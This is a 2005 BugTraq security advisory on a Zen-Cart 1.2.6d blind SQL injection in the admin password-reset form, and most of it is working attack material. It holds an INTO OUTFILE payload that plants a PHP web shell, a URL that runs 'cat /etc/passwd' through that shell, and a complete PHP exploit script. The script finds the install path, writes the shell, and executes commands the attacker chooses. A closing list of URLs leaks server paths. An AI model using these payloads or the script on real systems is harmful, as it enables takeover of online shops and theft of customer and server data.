BugTraq
= 1.2.6d blind SQL injection / remote commands execution: Dec 05 2005 02:37PM
retrogod aliceposta it
Zen-Cart <= 1.2.6d blind SQL injection / remote commands execution:

software:
site: http://www.zencart.com/
description:"Zen Cart truly is the art of e-commerce; a free, user-friendly,
open source shopping cart system. The software is being developed
by group of like-minded shop owners, programmers, designers, and
consultants that think e-commerce could be and should be done
differently.[..]"

i) blind SQL INJECTION -> remote commmands/code execution

vulnerable code in admin/password_forgotten.php:

...
if (isset($_POST['submit'])) {

if ( !$_POST['admin_email'] ) {
$error_check = true;
$email_message = ERROR_WRONG_EMAIL_NULL;
}

$admin_email = zen_db_prepare_input($_POST['admin_email']);

$sql = "select admin_id, admin_name, admin_email, admin_pass from " . TABLE_ADMIN . " where admin_email = '" . $admin_email . "'";
...

if magic_quotes_gpc both on & off
you can post an e-mail like this to create a shell:

'UNION SELECT 0,0,'<?php system($_GET[cmd]); ?>',0 INTO OUTFILE '[full_application_path]shell.php' FROM admin/*

so query become:

select admin_id, admin_name, admin_email, admin_pass from admin where admin_email = ''UNION SELECT
0,0,'<?php system($_GET[cmd]);?>',0 INTO OUTFILE '[full_application_path]shell.php FROM admin/*'

and after launch commands:

http://[target]/[path]/shell.php?cmd=cat%20/etc/passwd

this is my proof of concept exploit:

<?php
# ---zencart_126d_xpl.php 19.42 02/12/2005 #
# #
# Zen-Cart <= 1.2.6d blind SQL injection / remote commands execution #
# coded by rgod #
# site: http://rgod.altervista.org #
# #
# -> this works with magic_quotes_gpc both on & off #
# #
# usage: launch from Apache, fill in requested fields, then go! #
# #
# Sun-Tzu: "With his forces intact he will dispute the mastery #
# of the Empire, and thus, without losing a man, his triumph #
# will be complete. This is the method of attacking by stratagem." #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 5);
ob_implicit_flush (1);

echo'<html><head><title>Zen-Cart<=1.2.6d blind SQL injection/ remote cmmnds xctn
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img
{background-color: #FFFFFF !important} input {background-color: #303030
!important} option { background-color: #303030 !important} textarea
{background-color: #303030 !important} input {color: #1CB081 !important} option
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox
{background-color: #303030 !important} select {font-weight: normal; color:
#1CB081; background-color: #303030;} body {font-size: 8pt !important;
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
Zen-Cart<=1.2.6d blind SQL injection/ remote cmmnds xctn</p><p class="Stile6">a
script by rgod at <a href="http://rgod.altervista.org"target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form
name="form1" method="post" action="'.strip_tags($SERVER[PHP_SELF]).'"><p><input
type="text" name="host"> <span class="Stile5">* hostname (ex:www.sitename.com)
</span></p> <p><input type="text" name="path"> <span class="Stile5">* path (ex:
/zencart/ or just / ) </span></p><p><input type="text" name="command"> <span
class="Stile5"> * specify a command </span> </p> <p> <input type="text"
name="application_path"> <span class="Stile5"> full application path (ex:
"/www/zencart/", "../../www/zencart/","c:\www\zencart\" ), if not specified, we
will try to disclose the path </span> </p> <p> <input type="text" name="port">
<span class="Stile5">specify a port other than 80 ( default value )</span>
</p><p><input type="text" name="proxy"><span class="Stile5"> send exploit
through an HTTP proxy (ip:port)</span></p><p><input type="submit" name="Submit"
value="go!"></p></form> </td></tr></table></body></html>';

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td>  </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
à à }
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td>  </td>";
}

for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
à à }
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
à à //next function to send packets
{
global $proxy, $host, $port, $packet, $html, $proxy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
}
else
à à { $c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
echo "OK.<br>";
echo "Attempting to connect to ".$host." on port ".$port."...<br>";
if ($proxy=='')
à à {
à à $result = socket_connect($socket, $host, $port);
à à }
à à else
à à {

à à $parts =explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
à à $result = socket_connect($socket, $parts[0],$parts[1]);
à à }
à à if ($result < 0) {
echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
}
else
à à {
echo "OK.<br><br>";
$html= '';
socket_write($socket, $packet, strlen($packet));
echo "Reading response:<br>";
while ($out= socket_read($socket, 2048)) {$html.=$out;}
echo nl2br(htmlentities($html));
echo "Closing socket...";
socket_close($socket);

à àà à }
}
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) { echo 'No response from '.htmlentities($host);
à àdie; }
}
else
{
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
à àdie;
à à }
}
fputs($ock,$packet);
if ($proxy=='')
{

$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}

function disclose_path($paths)
{ global $p,$paths,$host,$html,$application_path;
for ($i=0; $i<=count($paths)-1; $i++)
{
$packet="GET ".$p.$paths[$i]." HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi('Fatal error',$html))
{
$temp=explode('in <b>',$html);
$temp2=explode('</b>',$temp[1]);
$result[$i]=$temp2[0];
$temp=explode('/',$paths[$i]);
$temp2=explode($temp[0],$result[$i]);
$result[$i]=$temp2[0];
echo "<br>".htmlentities($result[$i])."<br>";
$application_path=$result[$i];
break;
}
}
}
$host=$_POST[host];$path=$_POST[path];
$port=$_POST[port];$command=$_POST[command];
$proxy=$_POST[proxy];$application_path=$_POST[application_path];

if (($host<>'') and ($path<>'') and ($command<>''))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("\r\n","",$host);
$path=str_replace("\r\n","",$path);

if ($application_path=='')
{
$paths= array
(
'admin/includes/graphs/banner_daily.php',
'admin/includes/graphs/banner_infobox.php',
'admin/includes/graphs/banner_yearly.php',
'admin/includes/graphs/banner_monthly.php',
'admin/includes/application_bottom.php',
'admin/includes/attributes_preview.php',
'admin/includes/modules/category_product_listing.php',
'admin/includes/modules/copy_to_confirm.php',
'admin/includes/modules/delete_product_confirm.php',
'admin/includes/modules/move_product_confirm.php'
);

disclose_path($paths);
if ($application_path=='')
{
$packet="GET ".$p."index.php HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
$temp=explode('Warning: Installation directory exists at: ',$html);
$temp2=explode('. ',$temp[1]);
$temp=explode('zc_install',$temp2[0]);
$application_path=$temp[0];
if ($application_path==''){
$temp=explode('Warning: I am able to write to the configuration file: ',$html);
$temp2=explode('. ',$temp[1]);
$temp=explode('includes/configure.php',$temp2[0]);
$application_path=$temp[0];}
}
if ($application_path=='') {die("Full application path not retrieved...");}
}

$dirs= array
(
'', 'admin/', 'cache/', 'docs/', 'download/', 'email/', 'extras/', 'htmlarea/',
'images/', 'includes/', 'media/', 'pub/', 'zc_install/'
);

echo "Full application path ->".htmlentities($application_path)."<br>";
$SHELL='<?php echo "Hi Master!";error_reporting(0);ini_set("max_execution_time",0);system($_GET
[cmd]);?>';
for ($i=0; $i<=count($dirs)-1; $i++) //searching a writable dir... should works at first check
{
$mypath=$application_path.$dirs[$i];
$temp=$mypath;
$mypath=str_replace('\\','\\\\\\\\',$mypath); //for Windows boxes...
if ($temp<>$mypath) str_replace('/','\\\\\\\\',$mypath);

$SQL="'UNION SELECT 0,0,'".$SHELL."',0 INTO OUTFILE '".$mypath."ipn.php' from admin/*";
$SQL=urlencode($SQL);
$data="admin_email=".$SQL."&submit=resend";
$packet="POST ".$p."admin/password_forgotten.php HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);
$packet="GET ".$p.$dirs[$i]."ipn.php?cmd=".urlencode($command)." HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("Hi Master",$html)) {echo "Exploit succeded..."; die;}
}
//if you are here...
echo "Exploit failed...";
}
else
{echo "Fill * required, optionally specify a proxy ";}
?>

ii) path disclosure:

also if ERROR_REPORTING is not set to 0 in php.ini you can go to the following locations
to disclose the path you need for injection:

http://[target]/[path]/admin/includes/graphs/banner_daily.php
http://[target]/[path]/admin/includes/graphs/banner_infobox.php
http://[target]/[path]/admin/includes/graphs/banner_yearly.php
http://[target]/[path]/admin/includes/graphs/banner_monthly.php
http://[target]/[path]/admin/includes/application_bottom.php
http://[target]/[path]/admin/includes/attributes_preview.php
http://[target]/[path]/admin/includes/modules/category_product_listing.p
hp
http://[target]/[path]/admin/includes/modules/copy_to_confirm.php
http://[target]/[path]/admin/includes/modules/delete_product_confirm.php

http://[target]/[path]/admin/includes/modules/move_product_confirm.php

sometimes path is showned at main index.php if setup dir is not deleted
or configuration file is writable on fresh installations (bad practice...)

rgod
site: http://rgod.altervista.org
mail: retrogod at aliceposta it
original advisory: http://rgod.altervista.org/zencart_126d_xpl.html

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